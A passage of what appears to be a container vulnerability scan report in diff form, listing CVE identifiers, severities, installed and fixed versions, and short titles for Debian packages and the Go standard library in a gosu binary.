│ │ │ │ +│ libpam-modules-bin │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┤ │ │ │ │ │ │ +│ libpam-runtime │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┤ │ │ │ │ │ │ +│ libpam0g │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┼─────────────────┤ │ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libpcre2-8-0 │ CVE-2026-103111 │ │ │ 10.42-1 │ 10.42-1+deb12u2 │ pcre2: pcre2: Out-of-bounds write via crafted regular │ +│ │ │ │ │ │ │ expression │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-103111 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-86145 │ │ │ │ 10.42-1+deb12u1 │ pcre2: PCRE2: Out-of-bounds write allows arbitrary code │ +│ │ │ │ │ │ │ execution via crafted regular expressions... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-86145 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-89157 │ │ │ │ │ pcre2: PCRE2: Out-of-bounds write via large pattern input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-89157 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-89161 │ │ │ │ │ pcre2: PCRE2: Memory corruption vulnerability in │ +│ │ │ │ │ │ │ pcre2_jit_match │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-89161 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libsmartcols1 │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┼──────────┼──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libssl3 │ CVE-2026-31789 │ CRITICAL │ fixed │ 3.0.16-1~deb12u1 │ 3.0.19-1~deb12u2 │ openssl: OpenSSL: Heap buffer overflow on 32-bit systems │ +│ │ │ │ │ │ │ from large X.509 certificate... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-31789 │ +│ ├─────────────────┼──────────┤ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-15467 │ HIGH │ │ │ 3.0.18-1~deb12u2 │ openssl: OpenSSL: Remote code execution or Denial of Service │ +│ │ │ │ │ │ │ via oversized Initialization... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-15467 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-69421 │ │ │ │ │ openssl: OpenSSL: Denial of Service via malformed PKCS#12 │ +│ │ │ │ │ │ │ file processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69421 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28387 │ │ │ │ 3.0.19-1~deb12u2 │ openssl: OpenSSL: Arbitrary code execution due to │ +│ │ │ │ │ │ │ use-after-free in DANE TLSA authentication... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28387 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28388 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in delta... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28388 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28389 │ │ │ │ │ openssl: OpenSSL: Denial of Service vulnerability in CMS │ +│ │ │ │ │ │ │ processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28389 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28390 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in CMS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28390 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-45447 │ │ │ │ 3.0.20-1~deb12u2 │ openssl: Heap Use-After-Free in OpenSSL PKCS7_verify() │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-45447 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84782 │ │ │ │ 3.0.22-1~deb12u2 │ openssl: compat-openssl: openssl: Information disclosure via │ +│ │ │ │ │ │ │ DTLS handshake retransmission │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84782 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libsystemd0 │ CVE-2026-16742 │ │ fix_deferred │ 252.36-1~deb12u1 │ │ systemd: systemd-homed: Local privilege escalation via │ +│ │ │ │ │ │ │ missing home-record signature verification │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-16742 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libtinfo6 │ CVE-2025-69720 │ │ affected │ 6.4-4 │ │ ncurses: ncurses: Buffer overflow vulnerability may lead to │ +│ │ │ │ │ │ │ arbitrary code execution. │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69720 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libudev1 │ CVE-2026-16742 │ │ fix_deferred │ 252.36-1~deb12u1 │ │ systemd: systemd-homed: Local privilege escalation via │ +│ │ │ │ │ │ │ missing home-record signature verification │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-16742 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libuuid1 │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ mount │ CVE-2026-53613 │ │ │ │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ │ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ ncurses-base │ CVE-2025-69720 │ │ │ 6.4-4 │ │ ncurses: ncurses: Buffer overflow vulnerability may lead to │ +│ │ │ │ │ │ │ arbitrary code execution. │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69720 │ +├────────────────────┤ │ │ │ ├────────────────────┤ │ +│ ncurses-bin │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┼─────────────────┼──────────┼──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ perl-base │ CVE-2026-13221 │ CRITICAL │ fixed │ 5.36.0-7+deb12u2 │ 5.36.0-7+deb12u4 │ perl: Perl: Incorrect regular expression processing via │ +│ │ │ │ │ │ │ large regular expressions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-13221 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42496 │ │ │ │ │ perl-archive-tar: perl-archive-tar: Path traversal via │ +│ │ │ │ │ │ │ crafted symlinks allows arbitrary file access │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42496 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-8376 │ │ │ │ │ perl: Perl: Heap buffer overflow when compiling regular │ +│ │ │ │ │ │ │ expressions on 32-bit builds... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-8376 │ +│ ├─────────────────┼──────────┤ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-31484 │ HIGH │ │ │ 5.36.0-7+deb12u3 │ perl: CPAN.pm does not verify TLS certificates when │ +│ │ │ │ │ │ │ downloading distributions over HTTPS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-31484 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42497 │ │ │ │ 5.36.0-7+deb12u4 │ perl-Archive-Tar: perl-Archive-Tar: Arbitrary file │ +│ │ │ │ │ │ │ modification via crafted hardlinks during archive extraction │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42497 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-48962 │ │ │ │ │ perl-IO-Compress: perl-IO-Compress: Arbitrary code execution │ +│ │ │ │ │ │ │ via attacker-controlled output glob │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-48962 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-57432 │ │ │ │ │ perl: Perl: Information disclosure via integer overflow in │ +│ │ │ │ │ │ │ pack/unpack operations │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-57432 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-57433 │ │ │ │ │ Storable: Storable: Denial of Service via signed integer │ +│ │ │ │ │ │ │ overflow in deserialization │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-57433 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-9538 │ │ fix_deferred │ │ │ perl-Archive-Tar: perl-Archive-Tar: Denial of Service via │ +│ │ │ │ │ │ │ crafted tar header with large entry... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-9538 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ util-linux │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ util-linux-extra │ CVE-2026-53613 │ │ │ │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┼──────────┼──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ zlib1g │ CVE-2023-45853 │ CRITICAL │ will_not_fix │ 1:1.2.13.dfsg-1 │ │ zlib: integer overflow and resultant heap-based buffer │ +│ │ │ │ │ │ │ overflow in zipOpenNewFileInZip4_6 │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-45853 │ +│ ├─────────────────┼──────────┼──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-76844 │ HIGH │ affected │ │ │ webpack-dev-middleware: webpack-dev-middleware: Information │ +│ │ │ │ │ │ │ Disclosure via Path Traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-76844 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-85091 │ │ │ │ │ zlib: zlib: Heap buffer overflow in gz_vacate() allows │ +│ │ │ │ │ │ │ arbitrary code execution │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-85091 │ +└────────────────────┴─────────────────┴──────────┴──────────────┴────────────────────┴────────────────────┴──────────────────────────────────────────────────────────────┘ + +usr/local/bin/gosu (gobinary) +============================= +Total: 60 (HIGH: 56, CRITICAL: 4) + +┌─────────┬─────────────────┬──────────┬────────┬───────────────────┬──────────────────────────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├─────────┼─────────────────┼──────────┼────────┼───────────────────┼──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ stdlib │ CVE-2023-24538 │ CRITICAL │ fixed │ v1.18.2 │ 1.19.8, 1.20.3 │ golang: html/template: backticks not treated as string │ +│ │ │ │ │ │ │ delimiters │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-24538 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-24540 │ │ │ │ 1.19.9, 1.20.4 │ golang: html/template: improper handling of JavaScript │ +│ │ │ │ │ │ │ whitespace │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-24540 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2024-24790 │ │ │ │ 1.21.11, 1.22.4 │ golang: net/netip: Unexpected behavior from Is methods for │ +│ │ │ │ │ │ │ IPv4-mapped IPv6 addresses │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2024-24790 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-68121 │ │ │ │ 1.24.13, 1.25.7, 1.26.0-rc.3 │ crypto/tls: crypto/tls: Incorrect certificate validation │ +│ │ │ │ │ │ │ during TLS session resumption │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-68121 │ +│ ├─────────────────┼──────────┤ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-27664 │ HIGH │ │ │ 1.18.6, 1.19.1 │ golang: net/http: handle server errors after sending GOAWAY │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-27664 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-28131 │ │ │ │ 1.17.12, 1.18.4 │ golang: encoding/xml: stack exhaustion in Decoder.Skip │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-28131 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-2879 │ │ │ │ 1.18.7, 1.19.2 │ golang: archive/tar: github.com/vbatts/tar-split: unbounded │ +│ │ │ │ │ │ │ memory consumption when reading headers │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-2879 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-2880 │ │ │ │ │ golang: net/http/httputil: ReverseProxy should not forward │ +│ │ │ │ │ │ │ unparseable query parameters │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-2880 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-29804 │ │ │ │ 1.17.11, 1.18.3 │ ELSA-2022-17957: ol8addon security update (IMPORTANT) │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-29804 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-30580 │ │ │ │ │ golang: os/exec: Code injection in Cmd.Start │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-30580 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-30630 │ │ │ │ 1.17.12, 1.18.4 │ golang: io/fs: stack exhaustion in Glob │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-30630 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-30631 │ │ │ │ │ golang: compress/gzip: stack exhaustion in Reader.Read │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-30631 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-30632 │ │ │ │ │ golang: path/filepath: stack exhaustion in Glob │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-30632 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-30633 │ │ │ │ │ golang: encoding/xml: stack exhaustion in Unmarshal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-30633 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-30634 │ │ │ │ 1.17.11, 1.18.3 │ ELSA-2022-17957: ol8addon security update (IMPORTANT) │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-30634 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-30635 │ │ │ │ 1.17.12, 1.18.4 │ golang: encoding/gob: stack exhaustion in Decoder.Decode │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-30635 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-32189 │ │ │ │ 1.17.13, 1.18.5 │ golang: math/big: decoding big.Float and big.Rat types can │ +│ │ │ │ │ │ │ panic if the encoded... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-32189 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-41715 │ │ │ │ 1.18.7, 1.19.2 │ golang: regexp/syntax: limit memory used by parsing regexps │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-41715 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-41716 │ │ │ │ 1.18.8, 1.19.3 │ Due to unsanitized NUL values, attackers may be able to │ +│ │ │ │ │ │ │ maliciously se... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-41716 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-41720 │ │ │ │ 1.18.9, 1.19.4 │ golang: os, net/http: avoid escapes from os.DirFS and │ +│ │ │ │ │ │ │ http.Dir on Windows │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-41720 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-41722 │ │ │ │ 1.19.6, 1.20.1 │ golang: path/filepath: path-filepath filepath.Clean path │ +│ │ │ │ │ │ │ traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-41722 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-41723 │ │ │ │ │ golang.org/x/net/http2: avoid quadratic complexity in HPACK │ +│ │ │ │ │ │ │ decoding │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-41723 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-41724 │ │ │ │ │ golang: crypto/tls: large handshake records may cause panics │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-41724 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-41725 │ │ │ │ │ golang: net/http, mime/multipart: denial of service from │ +│ │ │ │ │ │ │ excessive resource consumption │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-41725 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-24534 │ │ │ │ 1.19.8, 1.20.3 │ golang: net/http, net/textproto: denial of service from │ +│ │ │ │ │ │ │ excessive memory allocation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-24534 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-24536 │ │ │ │ │ golang: net/http, net/textproto, mime/multipart: denial of │ +│ │ │ │ │ │ │ service from excessive resource consumption │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-24536 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-24537 │ │ │ │ │ golang: go/parser: Infinite loop in parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-24537 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-24539 │ │ │ │ 1.19.9, 1.20.4 │ golang: html/template: improper sanitization of CSS values │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-24539 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-29400 │ │ │ │ │ golang: html/template: improper handling of empty HTML │ +│ │ │ │ │ │ │ attributes │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-29400 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-29403 │ │ │ │ 1.19.10, 1.20.5 │ golang: runtime: unexpected behavior of setuid/setgid │ +│ │ │ │ │ │ │ binaries │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-29403 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-39325 │ │ │ │ 1.20.10, 1.21.3 │ golang: net/http, x/net/http2: rapid stream resets can cause │ +│ │ │ │ │ │ │ excessive work (CVE-2023-44487) │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-39325 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-45283 │ │ │ │ 1.20.11, 1.21.4, 1.20.12, 1.21.5 │ The filepath package does not recognize paths with a \??\ │ +│ │ │ │ │ │ │ prefix as... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-45283 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-45287 │ │ │ │ 1.20.0 │ golang: crypto/tls: Timing Side Channel attack in RSA based │ +│ │ │ │ │ │ │ TLS key exchanges.... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-45287 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-45288 │ │ │ │ 1.21.9, 1.22.2 │ golang: net/http, x/net/http2: unlimited number of │ +│ │ │ │ │ │ │ CONTINUATION frames causes DoS │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-45288 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2024-34156 │ │ │ │ 1.22.7, 1.23.1 │ encoding/gob: golang: Calling Decoder.Decode on a message │ +│ │ │ │ │ │ │ which contains deeply nested structures... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2024-34156 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61726 │ │ │ │ 1.24.12, 1.25.6 │ golang: net/url: Memory exhaustion in query parameter │ +│ │ │ │ │ │ │ parsing in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61726 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61729 │ │ │ │ 1.24.11, 1.25.5 │ crypto/x509: golang: Denial of Service due to excessive │ +│ │ │ │ │ │ │ resource consumption via crafted... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61729 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-111943 │ │ │ │ 1.26.10, 1.27.3 │ crypto/x509: golang: crypto/x509: Man-in-the-middle attacks │ +│ │ │ │ │ │ │ via untrusted intermediate certificates │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-111943 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-25679 │ │ │ │ 1.25.8, 1.26.1 │ net/url: Incorrect parsing of IPv6 host literals in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-25679 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-27145 │ │ │ │ 1.25.11, 1.26.4 │ crypto/x509: golang: golang crypto/x509: Denial of Service │ +│ │ │ │ │ │ │ via excessive processing of DNS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-27145 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32280 │ │ │ │ 1.25.9, 1.26.2 │ crypto/x509: crypto/tls: golang: Go: Denial of Service │ +│ │ │ │ │ │ │ vulnerability in certificate chain building... │ +│ │ │ │ │ │ │ 